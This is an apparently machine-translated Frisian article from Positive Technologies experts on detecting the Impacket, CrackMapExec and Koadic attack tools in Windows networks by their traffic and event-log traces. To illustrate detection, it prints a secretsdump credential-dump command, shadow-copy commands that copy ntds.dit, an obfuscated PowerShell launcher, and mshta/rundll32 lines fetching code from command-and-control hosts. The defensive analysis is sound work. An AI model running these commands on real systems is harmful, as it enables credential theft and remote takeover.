Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje

It tal oanfallen yn it bedriuwslibben groeit alle jierren: bygelyks yn 2017 waarden 13% mear unike ynsidinten opnommen dan yn 2016, en oan 'e ein fan 2018 - 27% mear ynsidintenas yn de foarige perioade. Ynklusyf dyjingen wêr't it haadwurkynstrumint it Windows-bestjoeringssysteem is. Yn 2017-2018, de APT Dragonfly, APT28, APT MuddyWater oanfallen op regearing en militêre organisaasjes yn Jeropa, Noard-Amearika en Saûdy-Araabje. En wy brûkten trije ark foar dit - Impacket, CrackMapExec и Koadic. Harren boarnekoade is iepen en beskikber op GitHub.

It is de muoite wurdich op te merken dat dizze ark net brûkt wurde foar inisjele penetraasje, mar om in oanfal binnen de ynfrastruktuer te ûntwikkeljen. Oanfallers brûke se yn ferskate stadia fan 'e oanfal nei de penetraasje fan' e perimeter. Dit, trouwens, is lestich te ûntdekken en faak allinich mei help fan technology it identifisearjen fan spoaren fan kompromis yn netwurkferkear of ark dat tastean detect aktive aksjes fan in oanfaller neidat hy hat penetrearre de ynfrastruktuer. De ark leverje in ferskaat oan funksjes, fan it oerdragen fan bestannen oant ynteraksje mei it register en it útfieren fan kommando's op in masine op ôfstân. Wy hawwe in stúdzje útfierd fan dizze ark om har netwurkaktiviteit te bepalen.

Wat wy moasten dwaan:

  • Begryp hoe't hacking-ark wurket. Fyn út wat oanfallers moatte eksploitearje en hokker technologyen se kinne brûke.
  • Fyn wat net wurdt ûntdutsen troch ark foar ynformaasjefeiligens yn 'e earste stadia fan in oanfal. De ferkenningsfaze kin oerslein wurde, itsij om't de oanfaller in ynterne oanfaller is, of omdat de oanfaller in gat yn 'e ynfrastruktuer eksploitearret dat net earder bekend wie. It wurdt mooglik om de hiele keatling fan syn aksjes te herstellen, dus de winsk om fierdere beweging te ûntdekken.
  • Eliminearje falske positiven fan ark foar ynbraakdeteksje. Wy moatte net ferjitte dat as bepaalde aksjes wurde ûntdutsen op basis fan ferkenning allinich, faak flaters mooglik binne. Gewoanlik binne d'r yn 'e ynfrastruktuer in genôch oantal manieren, net te ûnderskieden fan legitime op it earste each, om ynformaasje te krijen.

Wat jouwe dizze ark oanfallers? As dit Impacket is, krije oanfallers in grutte bibleteek fan modules dy't kinne wurde brûkt yn ferskate stadia fan 'e oanfal dy't folgje nei it brekken fan de perimeter. In protte ark brûke Impacket-modules yntern - bygelyks Metasploit. It hat dcomexec en wmiexec foar útfiering fan kommando op ôfstân, secretsdump foar it krijen fan akkounts út it ûnthâld dy't wurde tafoege fan Impacket. As resultaat sil de juste deteksje fan 'e aktiviteit fan sa'n bibleteek de deteksje fan derivaten soargje.

It is gjin tafal dat de makkers "Powered by Impacket" skreaun hawwe oer CrackMapExec (of gewoan CME). Derneist hat CME klearebare funksjonaliteit foar populêre senario's: Mimikatz foar it krijen fan wachtwurden of har hashes, ymplemintaasje fan Meterpreter of Empire-agent foar útfiering op ôfstân, en Bloodhound oan board.

It tredde ark dat wy keazen wie Koadic. It is frij resint, it waard presintearre op 'e ynternasjonale hackerkonferinsje DEFCON 25 yn 2017 en wurdt ûnderskieden troch in net-standert oanpak: it wurket fia HTTP, Java Script en Microsoft Visual Basic Script (VBS). Dizze oanpak wurdt fan it lân wenjen neamd: it ark brûkt in set ôfhinklikens en biblioteken ynboud yn Windows. De makkers neame it COM Command & Control, of C3.

IMPACKET

De funksjonaliteit fan Impacket is heul breed, fariearjend fan ferkenning binnen AD en it sammeljen fan gegevens fan ynterne MS SQL-tsjinners, oant techniken foar it krijen fan bewiisbrieven: dit is in SMB-relay-oanfal, en it krijen fan it ntds.dit-bestân mei hashes fan brûkerswachtwurden fan in domeincontroller. Impacket fiert ek kommando's op ôfstân út mei fjouwer ferskillende metoaden: WMI, Windows Scheduler Management Service, DCOM en SMB, en fereasket bewiisbrieven om dat te dwaan.

Secretsdump

Litte wy ris sjen nei geheime dump. Dit is in module dy't sawol brûkersmasines as domeincontrollers kin rjochtsje. It kin brûkt wurde om te krijen kopyen fan ûnthâld gebieten LSA, SAM, SECURITY, NTDS.dit, sadat it kin sjoen wurde op ferskillende stadia fan de oanfal. De earste stap yn 'e operaasje fan' e module is autentikaasje fia SMB, dy't it wachtwurd fan 'e brûker of syn hash fereasket om automatysk de Pass the Hash-oanfal út te fieren. Dêrnei komt in fersyk om tagong te iepenjen foar Service Control Manager (SCM) en tagong te krijen ta it register fia it winreg-protokol, wêrby't in oanfaller de gegevens fan tûken fan belang kin fine en resultaten krije fia SMB.

Yn Fig. 1 sjogge wy hoe krekt by it brûken fan it winreg-protokol tagong wurdt krigen mei in registerkaai mei in LSA. Om dit te dwaan, brûk it kommando DCERPC mei opcode 15 - OpenKey.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 1. It iepenjen fan in registerkaai mei it winreg-protokol

Folgjende, as tagong ta de kaai wurdt krigen, wurde de wearden bewarre mei it kommando SaveKey mei opcode 20. Impacket docht dit op in heul spesifike manier. It bewarret de wearden yn in bestân wêrfan de namme in tekenrige is fan 8 willekeurige karakters taheakke mei .tmp. Dêrnjonken bart fierdere upload fan dit bestân fia SMB út de System32-map (fig. 2).

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 2. Skema foar it krijen fan in registerkaai fan in masine op ôfstân

It docht bliken dat sa'n aktiviteit op it netwurk kin wurde ûntdutsen troch fragen nei bepaalde registertûken mei it winreg-protokol, spesifike nammen, kommando's en har folchoarder.

Dizze module lit ek spoaren efter yn it Windows-evenemintlogboek, wêrtroch it maklik te ûntdekken is. Bygelyks as gefolch fan it útfieren fan it kommando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Yn it Windows Server 2016-log sille wy de folgjende kaaisequence fan eveneminten sjen:

1. 4624 - remote Logon.
2. 5145 - kontrôle tagongsrjochten oan de winreg remote tsjinst.
3. 5145 - kontrolearje triem tagongsrjochten yn de System32 triemtafel. De triem hat de hjirboppe neamde willekeurige namme.
4. 4688 - it meitsjen fan in cmd.exe-proses dat vssadmin start:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - it meitsjen fan in proses mei it kommando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - it meitsjen fan in proses mei it kommando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - it meitsjen fan in proses mei it kommando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Lykas in protte ark foar post-eksploitaasje, hat Impacket modules foar it útfieren fan kommando's op ôfstân. Wy sille rjochtsje op smbexec, dy't in ynteraktive kommando-shell leveret op in masine op ôfstân. Dizze module fereasket ek autentikaasje fia SMB, itsij mei in wachtwurd as in wachtwurdhash. Yn Fig. Yn figuer 3 sjogge wy in foarbyld fan hoe't sa'n ark wurket, yn dit gefal is it de lokale behearderkonsole.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 3. Ynteraktive smbexec konsole

De earste stap fan smbexec nei autentikaasje is om de SCM te iepenjen mei it kommando OpenSCManagerW (15). De fraach is opmerklik: it fjild MachineName is DUMMY.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 4. Fersyk om te iepenjen Service Control Manager

Dêrnei wurdt de tsjinst makke mei it kommando CreateServiceW (12). Yn it gefal fan smbexec kinne wy ​​elke kear deselde kommando-konstruksjelogika sjen. Yn Fig. 5 grien jout oan net te feroarjen kommando parameters, giel jout oan wat in oanfaller kin feroarje. It is maklik om te sjen dat de namme fan it útfierbere bestân, syn map en it útfiertriem kinne wurde feroare, mar de rest is folle dreger om te feroarjen sûnder de logika fan 'e Impacket-module te fersteuren.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 5. Fersyk om in tsjinst te meitsjen mei Service Control Manager

Smbexec lit ek foar de hân lizzende spoaren yn it Windows-evenemint log. Yn it Windows Server 2016-log foar de ynteraktive kommando-shell mei it kommando ipconfig sille wy de folgjende kaaisequence fan eveneminten sjen:

1. 4697 - ynstallaasje fan 'e tsjinst op' e masine fan it slachtoffer:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - oanmeitsjen fan it cmd.exe-proses mei de arguminten fan punt 1.
3. 5145 - kontrôle tagongsrjochten foar de __útfier triem yn de C $ triemtafel.
4. 4697 - ynstallaasje fan de tsjinst op it slachtoffer syn masine.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - oanmeitsjen fan it cmd.exe-proses mei de arguminten fan punt 4.
6. 5145 - kontrôle tagongsrjochten foar de __útfier triem yn de C $ triemtafel.

Impacket is de basis foar de ûntwikkeling fan oanfal-ark. It stipet hast alle protokollen yn 'e Windows-ynfrastruktuer en hat tagelyk syn eigen karakteristike funksjes. Hjir binne spesifike winreg fersiken, en it brûken fan de SCM API mei karakteristike kommando formaasje, en de triemnamme opmaak, en SMB share SYSTEM32.

CRACKMAPEXEC

It CME-ark is primêr ûntworpen om dy routine aksjes te automatisearjen dy't in oanfaller moat útfiere om foarút te gean binnen it netwurk. It lit jo wurkje yn gearhing mei de bekende Empire-agent en Meterpreter. Om kommando's ferburgen út te fieren, kin CME se obfuscate. Mei Bloodhound (in apart ferkenningsark) kin in oanfaller it sykjen nei in aktive domeinbehearder sesje automatisearje.

bloodhound

Bloodhound, as in standalone ark, soarget foar avansearre ferkenning binnen it netwurk. It sammelet gegevens oer brûkers, masines, groepen, sesjes en wurdt levere as in PowerShell-skript of binêre triem. LDAP- as SMB-basearre protokollen wurde brûkt om ynformaasje te sammeljen. De CME-yntegraasjemodule lit Bloodhound downloade nei de masine fan it slachtoffer, útfiere en ûntfange de sammele gegevens nei útfiering, sadat aksjes yn it systeem automatisearje en se minder merkber meitsje. De grafyske shell fan Bloodhound presintearret de sammele gegevens yn 'e foarm fan grafiken, wêrtroch jo it koartste paad kinne fine fan' e masine fan 'e oanfaller nei de domeinbehearder.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 6. Bloodhound Interface

Om op 'e masine fan it slachtoffer te rinnen, makket de module in taak mei ATSVC en SMB. ATSVC is in ynterface foar wurkjen mei de Windows Task Scheduler. CME brûkt syn NetrJobAdd (1) funksje foar it meitsjen fan taken oer it netwurk. In foarbyld fan wat de CME-module stjoert wurdt werjûn yn Fig. 7: Dit is in cmd.exe kommando oprop en obfuscated koade yn 'e foarm fan arguminten yn XML-formaat.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Fig.7. It meitsjen fan in taak fia CME

Neidat de taak is yntsjinne foar útfiering, begjint de masine fan it slachtoffer Bloodhound sels, en dit kin sjoen wurde yn it ferkear. De module wurdt karakterisearre troch LDAP-fragen om standertgroepen te krijen, in list fan alle masines en brûkers yn it domein, en ynformaasje te krijen oer aktive brûkerssesjes fia it SRVSVC NetSessEnum-fersyk.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 8. It heljen fan in list mei aktive sesjes fia SMB

Derneist wurdt it lansearjen fan Bloodhound op 'e masine fan in slachtoffer mei auditing ynskeakele begelaat troch in evenemint mei ID 4688 (proses oanmeitsjen) en de prosesnamme «C:WindowsSystem32cmd.exe». Wat der opmerklik is, binne de arguminten foar kommandorigel:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

De module enum_avproducts is heul ynteressant út it eachpunt fan funksjonaliteit en ymplemintaasje. WMI lit jo de WQL-fraachtaal brûke om gegevens fan ferskate Windows-objekten op te heljen, wat yn wêzen is wat dizze CME-module brûkt. It genereart fragen nei de klassen AntiSpywareProduct en AntiМirusProduct oer de beskermingsark ynstalleare op 'e masine fan it slachtoffer. Om de nedige gegevens te krijen, ferbynt de module mei de nammeromte rootSecurityCenter2, genereart dan in WQL-fraach en ûntfangt in antwurd. Yn Fig. Figuer 9 lit de ynhâld fan sokke oanfragen en antwurden sjen. Yn ús foarbyld waard Windows Defender fûn.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 9. Netwurk aktiviteit fan de module enum_avproducts

Faak kin WMI-auditing (Trace WMI-Activity), yn waans eveneminten jo nuttige ynformaasje kinne fine oer WQL-fragen, útskeakele wurde. Mar as it ynskeakele is, dan as it enum_avproducts skript wurdt útfierd, sil in evenemint bewarre wurde mei ID 11. It sil de namme fan de brûker befetsje dy't it fersyk stjoerde en de namme yn 'e rootSecurityCenter2 nammeromte.

Elk fan 'e CME-modules hie syn eigen artefakten, of it no spesifike WQL-fragen is as it meitsjen fan in bepaald type taak yn in taakplanner mei obfuscaasje en Bloodhound-spesifike aktiviteit yn LDAP en SMB.

KOADIC

In ûnderskiedend skaaimerk fan Koadic is it brûken fan JavaSkript- en VBScript-tolken ynboud yn Windows. Yn dizze sin folget it it libben fan 'e lântrend - dat wol sizze, it hat gjin eksterne ôfhinklikens en brûkt standert Windows-ark. Dit is in ark foar folsleine Command & Control (CnC), om't nei ynfeksje in "ymplant" is ynstalleare op 'e masine, wêrtroch it kin wurde kontrolearre. Sa'n masine, yn Koadyske terminology, wurdt in "zombie" neamd. As d'r net genôch privileezjes binne foar folsleine operaasje oan 'e kant fan it slachtoffer, hat Koadic de mooglikheid om se te ferheegjen mei help fan User Account Control bypass (UAC bypass) techniken.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 10. Koadic Shell

It slachtoffer moat kommunikaasje begjinne mei de Command & Control-tsjinner. Om dit te dwaan, moat se kontakt opnimme mei in earder taret URI en ûntfange it haad Koadic-lichem mei ien fan 'e stagers. Yn Fig. Ofbylding 11 lit in foarbyld sjen foar de mshta stager.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 11. In sesje inisjalisearje mei de CnC-tsjinner

Op grûn fan de antwurd fariabele WS wurdt dúdlik dat de útfiering bart troch WScript.Shell, en de fariabelen STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE befetsje wichtige ynformaasje oer de parameters fan de hjoeddeiske sesje. Dit is it earste fersyk-antwurd-pear yn in HTTP-ferbining mei in CnC-tsjinner. Oanfoljende oanfragen binne direkt relatearre oan de funksjonaliteit fan 'e neamde modules (ymplantaten). Alle Koadic-modules wurkje allinich mei in aktive sesje mei CnC.

Mimikatz

Krekt as CME wurket mei Bloodhound, wurket Koadic mei Mimikatz as in apart programma en hat meardere manieren om it te starten. Hjirûnder is in fersyk-antwurd-pear foar it downloaden fan it Mimikatz-ymplantaat.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 12. Oermeitsje Mimikatz nei Koadic

Jo kinne sjen hoe't it URI-formaat yn it fersyk is feroare. It befettet no in wearde foar de csrf-fariabele, dy't ferantwurdlik is foar de selektearre module. Jou net op har namme; Wy witte allegear dat CSRF normaal oars wurdt begrepen. It antwurd wie itselde haadlichem fan Koadic, dêr't koade yn ferbân mei Mimikatz waard tafoege. It is frij grut, dus litte wy nei de wichtichste punten sjen. Hjir hawwe wy de Mimikatz-bibleteek kodearre yn base64, in serialisearre .NET-klasse dy't it sil ynjeksje, en arguminten om Mimikatz te starten. It útfierresultaat wurdt oer it netwurk yn dúdlike tekst oerbrocht.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 13. Resultaat fan in run Mimikatz op in ôfstân masine

Exec_cmd

Koadic hat ek modules dy't kommando's op ôfstân kinne útfiere. Hjir sille wy deselde URI-generaasjemetoade sjen en de bekende sid- en csrf-fariabelen. Yn it gefal fan de exec_cmd-module wurdt koade tafoege oan it lichem dat by steat is om shell-kommando's út te fieren. Hjirûnder wurdt sa'n koade werjûn yn 'e HTTP-antwurd fan' e CnC-tsjinner.

Hoe oanfallen op Windows-ynfrastruktuer te detektearjen: hacker-ark studearje
Rys. 14. Implant koade exec_cmd

De GAWTUUGCFI-fariabele mei it bekende WS-attribút is nedich foar koade-útfiering. Mei har help neamt it ymplant de shell, ferwurket twa tûken fan koade - shell.exec mei it weromkommen fan 'e útfiergegevensstream en shell.run sûnder werom te kommen.

Koadic is gjin typysk ark, mar it hat syn eigen artefakten wêrmei't it kin wurde fûn yn legitime ferkear:

  • spesjale formaasje fan HTTP-oanfragen,
  • mei help fan winHttpRequests API,
  • it meitsjen fan in WScript.Shell-objekt fia ActiveXObject,
  • grut útfierber lichem.

De earste ferbining wurdt inisjearre troch de stager, dus it is mooglik om syn aktiviteit te ûntdekken fia Windows-eveneminten. Foar mshta is dit evenemint 4688, dat oanjout op it meitsjen fan in proses mei it startattribút:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Wylst Koadic rint, kinne jo oare 4688-eveneminten sjen mei attributen dy't it perfekt karakterisearje:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

befinings

De trend fan libjen fan it lân wint populariteit ûnder kriminelen. Se brûke de ark en meganismen ynboud yn Windows foar har behoeften. Wy sjogge populêre ark Koadic, CrackMapExec en Impacket nei dit prinsipe hieltyd faker ferskine yn APT-rapporten. It oantal foarken op GitHub foar dizze ark groeit ek, en nije ferskine (d'r binne no al sawat tûzen fan). De trend wint populariteit troch syn ienfâld: oanfallers hawwe gjin ark fan tredden nedich; se binne al op masines fan 'e slachtoffers en helpe har om feiligensmaatregels te omgean. Wy rjochtsje ús op it bestudearjen fan netwurkkommunikaasje: elk hjirboppe beskreaun ark lit syn eigen spoaren yn it netwurkferkear; detaillearre stúdzje fan harren tastien ús te learen ús produkt PT Network Attack Discovery detect se, dy't úteinlik helpt te ûndersykjen de hiele keten fan cyber ynsidinten wêrby't harren.

skriuwers:

  • Anton Tyurin, Head of Expert Services Department, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Boarne: www.habr.com

Add a comment